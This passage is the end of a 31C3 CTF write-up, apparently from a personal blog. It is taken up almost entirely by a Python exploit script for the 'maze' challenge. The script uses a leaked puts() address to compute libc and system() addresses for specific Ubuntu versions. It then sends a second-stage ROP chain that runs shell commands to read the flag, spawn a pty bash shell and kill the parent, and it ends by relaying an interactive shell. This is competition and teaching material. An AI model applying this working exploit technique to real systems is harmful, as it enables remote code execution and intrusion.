class=\"crayon-st\">not<\/span> <span class=\"crayon-v\">buf<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Exploit failed, try again!&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-252\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-253\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-254\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">### Exploit the 1-byte RBP overflow: 2nd stage ROP payload<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-255\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-256\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-257\" class=\"crayon-line\"><span class=\"crayon-v\">puts_leak<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-t\">struct<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">unpack<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;&lt;Q&#8221;<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">ljust<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-e\">chr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-258\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-259\" class=\"crayon-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Leaked puts() address\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0: 0x%x&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-v\">puts_leak<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-260\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-261\" class=\"crayon-line\"><span class=\"crayon-p\"># Offsets valid for the actual target system, running Ubuntu 14.10<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-262\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-st\">if<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">puts_leak<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">0xfff<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-cn\">0x940<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-263\" class=\"crayon-line\"><span class=\"crayon-v\">libc_base<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">puts_leak<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">0x70940<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-264\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">system_addr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">libc_base<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">0x44b30<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-265\" class=\"crayon-line\"><span class=\"crayon-p\"># Offsets valid for my test system, running Ubuntu 14.04<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-266\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">elif<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">puts_leak<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-cn\">0xfff<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">==<\/span> <span class=\"crayon-cn\">0x8b0<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-267\" class=\"crayon-line\"><span class=\"crayon-v\">libc_base<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">puts_leak<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-cn\">0x708b0<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-268\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">system_addr<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">libc_base<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-cn\">0x46530<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-269\" class=\"crayon-line\"><span class=\"crayon-st\">else<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-270\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-p\"># Would be easy to add bruteforcing support, if necessary<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-271\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-p\"># The offset between functions does not change that much&#8230;<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-272\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Bruteforcing the puts() &lt;-&gt; system() address not supported&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-273\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-274\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Calculated libc base address : 0x%x&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-v\">libc_base<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-275\" class=\"crayon-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Calculated system() address\u00a0\u00a0: 0x%x&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-v\">system_addr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-276\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-277\" class=\"crayon-line\"><span class=\"crayon-p\"># Echo back a string, so we know that our exploit has succeeded<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-278\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">cmd<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-s\">&#8220;echo pwn; &#8220;<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-279\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-280\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Read the flag (when running against the real target system)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-281\" class=\"crayon-line\"><span class=\"crayon-v\">cmd<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-s\">&#8220;cat \/home\/user\/flag.txt 2&gt;\/dev\/null || echo NONE; &#8220;<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-282\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-283\" class=\"crayon-line\"><span class=\"crayon-p\"># Spawn shell with a pty, using a python-oneliner \ud83d\ude42<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-284\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">cmd<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-s\">&#8220;python -c &#8216;import pty; pty.spawn(\\&#8221;\/bin\/bash\\&#8221;)&#8217;; &#8220;<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-285\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-286\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Explicitly kill the maze process after our shell exits<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-287\" class=\"crayon-line\"><span class=\"crayon-v\">cmd<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-s\">&#8220;kill -9 $PPID&#8221;<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-288\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-289\" class=\"crayon-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;2nd stage ROP payload: Executing commands via system()&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-290\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-291\" class=\"crayon-line\"><span class=\"crayon-p\"># This will be placed in RBP &#8211; Not used, except for my 0xbadc0ded mark \ud83d\ude09<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-292\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">rop_stage2<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0xbadc0ded<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-293\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-294\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Populate RDI with a pointer to the cmd string<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-295\" class=\"crayon-line\"><span class=\"crayon-v\">rop_stage2<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">gadget_pop_rdi_ret<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-296\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">rop_stage2<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">temp_addr<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">8<\/span><span class=\"crayon-o\">*<\/span><span class=\"crayon-cn\">4<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-297\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-298\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Call system(RDI)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-299\" class=\"crayon-line\"><span class=\"crayon-v\">rop_stage2<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-e\">u64<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">system_addr<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-300\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-301\" class=\"crayon-line\"><span class=\"crayon-p\"># Store the command string to be executed after the ROP chain<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-302\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">rop_stage2<\/span> <span class=\"crayon-o\">+=<\/span> <span class=\"crayon-v\">cmd<\/span> <span class=\"crayon-o\">+<\/span> <span class=\"crayon-e\">chr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-303\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-304\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">rop_stage2<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-305\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-306\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-st\">if<\/span> <span class=\"crayon-st\">not<\/span> <span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">readline<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Unexpected EOF&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-307\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-308\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">pwn<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">readline<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-309\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-310\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-st\">if<\/span> <span class=\"crayon-st\">not<\/span> <span class=\"crayon-e\">pwn <\/span><span class=\"crayon-st\">or<\/span> <span class=\"crayon-v\">pwn<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">strip<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-s\">&#8220;pwn&#8221;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-311\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Exploit failed, for unknown reasons! o_O&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-312\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-313\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-314\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\">### Done! Retrieving flag, and handing over a shell to the user \ud83d\ude42<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-315\" class=\"crayon-line\"><span class=\"crayon-p\">#############################################################################<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-316\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-317\" class=\"crayon-line\"><span class=\"crayon-v\">time_diff<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">datetime<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">datetime<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">now<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span> <span class=\"crayon-o\">&#8211;<\/span> <span class=\"crayon-v\">started_at<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">total_seconds<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-318\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-319\" class=\"crayon-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Total exploit time: %.3f seconds&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-v\">time_diff<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-320\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-321\" class=\"crayon-line\"><span class=\"crayon-v\">flag<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">f<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">readline<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-322\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-323\" class=\"crayon-line\"><span class=\"crayon-st\">if<\/span> <span class=\"crayon-st\">not<\/span> <span class=\"crayon-v\">flag<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-e\">die<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Unexpected EOF!&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-324\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-325\" class=\"crayon-line\"><span class=\"crayon-v\">flag<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">flag<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">strip<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-326\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-327\" class=\"crayon-line\"><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">flag<\/span> <span class=\"crayon-o\">!=<\/span> <span class=\"crayon-s\">&#8220;NONE&#8221;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-328\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Flag: %s&#8221;<\/span> <span class=\"crayon-o\">%<\/span> <span class=\"crayon-v\">flag<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-329\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-330\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-e\">log<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;Dropping into a shell&#8230;&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-331\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-332\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stdout<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8220;\\n&#8221;<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-333\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-334\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Set terminal into raw mode, and disable local echo<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-335\" class=\"crayon-line\"><span class=\"crayon-v\">fd<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stdin<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">fileno<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-336\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">org_state<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">termios<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">tcgetattr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-337\" class=\"crayon-line\"><span class=\"crayon-v\">new_state<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">termios<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">tcgetattr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-338\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">new_state<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">new_state<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">3<\/span><span class=\"crayon-sy\">]<\/span> <span class=\"crayon-o\">&amp;<\/span> <span class=\"crayon-o\">~<\/span><span class=\"crayon-v\">termios<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">ECHO<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-339\" class=\"crayon-line\"><span class=\"crayon-v\">termios<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">tcsetattr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">termios<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">TCSADRAIN<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">new_state<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-340\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">tty<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">setraw<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-341\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-342\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-p\"># Select loop<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-343\" class=\"crayon-line\"><span class=\"crayon-st\">while<\/span> <span class=\"crayon-t\">True<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-344\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">r<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">select<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">select<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stdin<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">]<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-345\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-i\">s<\/span> <span class=\"crayon-st\">in<\/span> <span class=\"crayon-v\">r<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-346\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">buf<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">recv<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">4096<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-347\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-st\">not<\/span> <span class=\"crayon-v\">buf<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-st\">break<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-348\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stdout<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">write<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">buf<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-349\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stdout<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">flush<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-350\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">stdin <\/span><span class=\"crayon-st\">in<\/span> <span class=\"crayon-v\">r<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-351\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">c<\/span> <span class=\"crayon-o\">=<\/span> <span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">stdin<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">read<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-352\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-st\">if<\/span> <span class=\"crayon-st\">not<\/span> <span class=\"crayon-v\">c<\/span><span class=\"crayon-o\">:<\/span> <span class=\"crayon-st\">break<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-353\" class=\"crayon-line\"><span class=\"crayon-h\">\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0<\/span><span class=\"crayon-v\">s<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">sendall<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">c<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-354\" class=\"crayon-line crayon-striped-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-355\" class=\"crayon-line\"><span class=\"crayon-p\"># Restore terminal<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-356\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">termios<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">tcsetattr<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">fd<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">termios<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-v\">TCSADRAIN<\/span><span class=\"crayon-sy\">,<\/span> <span class=\"crayon-v\">org_state<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div id=\"crayon-57eb96174b265901204425-357\" class=\"crayon-line\"><\/div>\n<div id=\"crayon-57eb96174b265901204425-358\" class=\"crayon-line crayon-striped-line\"><span class=\"crayon-v\">sys<\/span><span class=\"crayon-sy\">.<\/span><span class=\"crayon-e\">exit<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>This is my write-up for the maze challenge in the 31C3 CTF, that I played with the Hacking For Soju team. We \u201conly\u201d got 10th 